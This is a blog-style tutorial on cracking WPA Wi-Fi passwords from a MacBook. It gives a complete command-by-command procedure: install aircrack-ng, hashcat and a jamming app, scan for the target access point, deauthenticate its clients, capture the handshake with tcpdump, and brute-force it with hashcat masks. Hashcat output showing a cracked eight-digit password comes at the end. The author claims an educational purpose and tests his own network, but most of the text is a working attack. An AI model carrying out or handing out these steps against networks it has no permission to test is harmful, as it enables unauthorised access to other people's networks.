Hacking. Wi-Fi Penetration on MacOS

5 minute read

Disclaimer: this post for education purposes only.

A wireless network with WPA/WPA security not guarantee a total safety. WiFi packets could be sniffed by an attacker that can stole a WiFi passwords, then he connects to your secured network. But he is need to decode a hash of password. The complexity and time to get a password phrase completely depends on the password. Passwords consists only digits cracks minutes or hours, the password “HasGUS%f@$SAfga63efSA%$S(SACSASj)” require a hundred years to crack it.

MacOS isn’t known as an ideal operating system for hacking without customization, but it includes native tools that allow easy control of the Wi-Fi radio for packet sniffing. Changing channels, scanning for access points, and even capturing packets all can be done from the command line.

This manual show a manual to crack WiFi password from my MacBook Pro with MacOS 10.13 (HighSierra). I want to save the instruction to the future. If you want to repeat it you should familiar with console terminal.

Let’s start cracking ;)

installation requirements

  1. Install Homebrew

  2. Install aircrack-ng
    brew install aircrack-ng
  3. Generate a link of the next installed by built-in utility - airport for using directly on terminal.
    sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport
  4. Install hashcat
    brew install hashcat
  5. Install hashcat-utils. Build from sources. Use git and gcc
    git clone https://github.com/hashcat/hashcat-utils.git
    cd hashcat-utils/src
    gcc -o cap2hccapx cap2hccapx.c
    mv ./cap2hccapx /usr/local/bin/
  6. Install hcxtools
    brew install hcxtools
  7. Install wireshark
    brew install wireshark
  8. Install [JamWifi][https://github.com/0x0XDev/JamWiFi] app. It is a deauthenticating application in which unwanted clients from a Wi-Fi network have to keep off, jamming and especially their connection will be departed like dust in a second. Download and unzip by this link.

  9. Test that all tools installed and available. The commands below should success return some help page about itself:
    airport -h
    aircrack-ng --help
    cap2hccapx -h
    hashcat -h
    hcxhash2cap -h
    tcpdump -h
    wireshark -h

identify the target access point

About the abbreviation

  • Basic Service Set Identifier (BSSID).
  • Service Set Identifier (SSID).
  • Radio Frequency (Channel).
  • Access Point (AP).
  1. Turn on Wi-Fi.

  2. Open Terminal.

  3. Run a command
    sudo airport -s

    Now, this command will be scanning the available Wi-Fi.

  4. Wait till the installation is done. available-networks I want to hack my network named Ruslan Gainanov and BSSID 6e:57:ca:24:09:8c and channel 1.

  5. Copy the BSSID (my BSSID=6e:57:ca:24:09:8c) of the target Access Point.
    export BSSID=6e:57:ca:24:09:8c

capturing a traffic

  1. Run a command to help find a wireless interface (en0)
    networksetup -listallhardwareports

    The result:

    Hardware Port: Wi-Fi
    Device: en0
    Ethernet Address: .......
  2. Disassociate a network
    sudo airport -z
  3. Set the channel. Do not put a space between -c and the channel
    sudo airport -c1
  4. Capture a beacon frame from the access point. This command will create a new file beacon.cap, which is the gathered data from the target access point.
    sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i en0 -w beacon.cap
  5. Deauth connected devices with Jam Wi-Fi app. Open the app. Press Scan, chose the target network and press Monitor, then press Do It! to restart all connections. Wait 15 seconds and press Done deauth-clients

  6. When you “Done” with death, run quickly next command. You have to capture a handshake in time
    sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i en0 -w handshake.cap

    Wait until you see some gotten frames, like this

    Got 19

    After you have it press "Control + C" to stop capturing.

  7. Merge the Beacon and Handshake
    mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap

brute forcing

  • Brute Force — A brute-force attack consists of an attacker submitting many passwords or passphrases with the hope of eventually guessing correctly.
  • Wordlist — A written collection of all words derived from a particular source.

.1. Generating HCCPAX File

cap2hccapx capture.cap capture.hccapx

Hashcat doesn’t take cap files, only hccapx files. So we need convert this files. Other way to made it is use a online tool.

Review the result. You should see the phrase Networks detected: X... Written X WPA Handshakes. The example of success result is:

Networks detected: 1
[*] BSSID=6e:57:ca:24:09:8c ESSID=Ruslan Gainanov (Length: 15)
--> STA=14:16:9e:67:7e:c5, Message Pair=0, Replay Counter=1
--> STA=14:16:9e:67:7e:c5, Message Pair=2, Replay Counter=1
--> STA=14:16:9e:67:7e:c5, Message Pair=0, Replay Counter=1
--> STA=14:16:9e:67:7e:c5, Message Pair=2, Replay Counter=1

Written 4 WPA Handshakes to: capture.hccapxn

.2. Now, everything are right to execute the hashcat. We can use a wordlist or a pattern to broke a password. Using a wordlist (example of wordlists - https://github.com/kennyn510/wpa2-wordlists.git):

hashcat -m 2500 capture.hccapx wordlist.txt

Using a pattern - 8 digits:

hashcat -m 2500 -a3 capture.hccapx "?d?d?d?d?d?d?d?d"

For more examples press here. For more patterns, see the documentation.

my results

I use the hashcat with pattern, that works on GPU. On my MacBook Pro, it yields a performance of 41kH/s: it tests 41000 passwords in a second.


OpenCL Platform #1: Apple
* Device #1: Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz, skipped.
* Device #2: Intel(R) HD Graphics 630, 384/1536 MB allocatable, 24MCU
* Device #3: AMD Radeon Pro 555 Compute Engine, 512/2048 MB allocatable, 12MCU

Speed.#2.........:     6578 H/s (6.48ms) @ Accel:8 Loops:4 Thr:256 Vec:1
Speed.#3.........:    35286 H/s (10.78ms) @ Accel:32 Loops:16 Thr:256 Vec:1
Speed.#*.........:    41864 H/s

The cracking a WiFi password consists 8 digits took me twenty minutes (20 mins, 17 secs).

12822b8013c116a3dff33d4bbc3fb2cb:6e57ca24098c:14169e677ec5:Ruslan Gainanov:12345670

Session..........: hashcat
Status...........: Cracked
Hash.Type........: WPA-EAPOL-PBKDF2
Hash.Target......: capture.hccapx
Time.Started.....: Fri Jul 17 18:11:20 2020 (20 mins, 17 secs)
Time.Estimated...: Fri Jul 17 18:31:37 2020 (0 secs)
Guess.Mask.......: ?d?d?d?d?d?d?d?d [8]
Guess.Queue......: 1/1 (100.00%)
Speed.#2.........:     6583 H/s (6.76ms) @ Accel:8 Loops:4 Thr:256 Vec:1
Speed.#3.........:    33997 H/s (10.02ms) @ Accel:32 Loops:16 Thr:256 Vec:1
Speed.#*.........:    40580 H/s
Recovered........: 2/2 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 49397760/100000000 (49.40%)
Rejected.........: 0/49397760 (0.00%)
Restore.Point....: 4620288/10000000 (46.20%)
Restore.Sub.#2...: Salt:0 Amplifier:3-4 Iteration:0-2
Restore.Sub.#3...: Salt:0 Amplifier:0-1 Iteration:1-3
Candidates.#2....: 32303174 -> 31682841
Candidates.#3....: 18328292 -> 15530236

Started: Fri Jul 17 18:11:13 2020
Stopped: Fri Jul 17 18:31:39 2020                           

Is true that my network named Ruslan Gainanov has a password - 12345670.


Please be aware that attacking Wi-Fi Protected Access (WPA) is illegal unless you have permission from the owner’s access point or affiliation involved. This post should be used as Educational Purposes, to help the public understand how hackers take advantage of your access.

additional information